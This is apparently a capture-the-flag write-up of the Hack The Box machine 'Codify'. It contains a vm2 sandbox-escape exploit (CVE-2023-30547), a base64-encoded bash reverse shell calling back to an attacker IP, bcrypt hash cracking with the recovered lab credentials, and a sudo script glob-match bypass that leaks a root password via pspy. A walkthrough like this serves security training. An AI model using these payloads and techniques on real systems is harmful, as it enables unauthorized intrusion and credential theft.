Codify is a vulnerable Linux machine released in November 2023. It features a web application that allows users to test Node.js
code.
The application uses a vulnerable vm2
library can be exploited and used for remote code execution.
Enumerating the target reveals a SQLite
database containing a hash. Once cracked, we will have SSH
access to our target machine. Finally, a vulnerable Bash
script can be run with elevated privileges which will lead to root
access.
https://app.hackthebox.com/machines/574
Network Enumeration
Target IP: 10.129.25.177 Attacker IP: 10.10.14.92
nmap -sCVS 10.129.25.177
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 96:07:1c:c6:77:3e:07:a0:cc:6f:24:19:74:4d:57:0b (ECDSA)
|_ 256 0b:a4:c0:cf:e2:3b:95:ae:f6:f5:df:7d:0c:88:d6:ce (ED25519)
80/tcp open http Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://codify.htb/
|_http-server-header: Apache/2.4.52 (Ubuntu)
3000/tcp open http Node.js Express framework
|_http-title: Codify
Service Info: Host: codify.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Lets check out the http page that is open to us, we edit our /etc/hosts to contain codify.htb and then head over to the site!
When we visit codify.htb we find a page where we can test node.js code in a sandbox environment. There is likely going to be a way that we can escape from this sandbox environment.
JS Environment Enumeration
We first want to find out what type of sandbox environment we are in. We can do this by testing various different modules until we get a hit.
Here are a couple of sandboxes we can test. We go down the list, the first one on the list seems to hit!
require('vm2')
const version = require("vm2/package.json").version;
console.log(version)
It looks like we have a positive output with vm2 module being loaded. We also find out what version is running. With this being known now, lets looks for any public exploits with vm2 sandbox escapes.
CVE-2023-30547
vm2 < 3.9.17 is vulnerable to arbitrary code execution due to an issue in exception sanitation. Attackers are able to exploit this issue by triggering a host exception within handleException()
. This will enable the attackers to escape the sandbox, and once this is done, they can run code as host.
https://github.com/rvizx/CVE-2023-30547
Here is the code that is used to exploit this vulnerability
const handler = {
getPrototypeOf(target) {
(function stack() {
new Error().stack;
stack();
})();
}
};
const proxiedErr = new Proxy(err, handler);
try {
throw proxiedErr;
} catch ({constructor: c}) {
c.constructor('return process')().mainModule.require('child_process').execSync('whoami');
}
We are able to execute commands as the svc user on the attacking machine.
Lets try to set up a reverse shell.
echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC45Mi80NDQ0IDA+JjE= | base64 -d | bash
In this case we will use a base64 encoded reverse shell, and when we execute it on our target machine, we will decode the string.
We set up a listener on our attacking machine on port 4444 and catch a response.
penelope -i 10.10.14.92 4444
SVC to Joshua
As the SVC account we do not have many permissions at all. Lets check out the web root directory to see if we can find any interesting databases / files that can help us take control of the joshua account on the machine.
In the /var/www/contact
directory we find a database named tickets.db
We get a hash that we copy from tickets.db
$2a$12$SOn8Pf6z8fO/nVsNbAAequ/P6vLRJJl7gCUEiYBU2iLHn4G/p/Zw2
Lets go ahead and save this to our attacking machine so we can crack this hash. I save the file as hash and go ahead and use hashcat to crack it.
hashcat -m 3200 hash ~/Downloads/rockyou.txt
We eventually get our credentials after some cracking.
joshua:spongebob1
Cool password.
Joshua Script Permission
We are able to ssh into our target machine with the joshua account credentials.
We run sudo -l to see if there are any interesting permissions with the Joshua account.
sudo -l
Here is the script that we find ‘mysql-backup.sh’
DB_USER="root"
DB_PASS=$(/usr/bin/cat /root/.creds)
BACKUP_DIR="/var/backups/mysql"
read -s -p "Enter MySQL password for $DB_USER: " USER_PASS
/usr/bin/echo
if [[ $DB_PASS == $USER_PASS ]]; then
/usr/bin/echo "Password confirmed!"
else
/usr/bin/echo "Password confirmation failed!"
exit 1
fi
/usr/bin/mkdir -p "$BACKUP_DIR"
databases=$(/usr/bin/mysql -u "$DB_USER" -h 0.0.0.0 -P 3306 -p"$DB_PASS" -e "SHOW DATABASES;" | /usr/bin/grep -Ev "(Database|information_schema|performance_schema)")
for db in $databases; do
/usr/bin/echo "Backing up database: $db"
/usr/bin/mysqldump --force -u "$DB_USER" -h 0.0.0.0 -P 3306 -p"$DB_PASS" "$db" | /usr/bin/gzip > "$BACKUP_DIR/$db.sql.gz"
done
/usr/bin/echo "All databases backed up successfully!"
/usr/bin/echo "Changing the permissions"
/usr/bin/chown root:sys-adm "$BACKUP_DIR"
/usr/bin/chmod 774 -R "$BACKUP_DIR"
/usr/bin/echo 'Done!'
There is an issue in the way this script compares the user-provided password and the real password. Since the right-side comparison variable is not quoted, this will allow us to do pattern matching. This is due to the use of ==
inside [[ ]]
in Bash, which performs pattern matching rather than a direct string comparison. This means that we can use *
as our password when authenticating and the script will run since since *
matches any string.
/usr/bin/mysqldump --force -u "$DB_USER" -h 0.0.0.0 -P 3306 -p"$DB_PASS" "$db" | /usr/bin/gzip > "$BACKUP_DIR/$db.sql.gz"
The database password will be leaked if we snoop in on our processes. This is where pspy64s comes in, get it here:https://github.com/DominicBreuker/pspy
Script Credential Leak » Root
We will upload pspy64s to our target machine.
We head over to where we have it saved on our target machine and start a simple http server.
python -m http.server 80
wget http://10.10.14.92/pspy64s
`chmod +x psspy64s'
./pspy64s
Lets now run the backup as Joshua with sudo.
sudo ./mysql-backup.sh
We get a successful run, now we can view our pspy64s output to find our leaked credentials.
We find the password to be kljh12k3jhaskjh12kjh3
Lets see if this matches up with the root account.
su root
We now have root access! pwned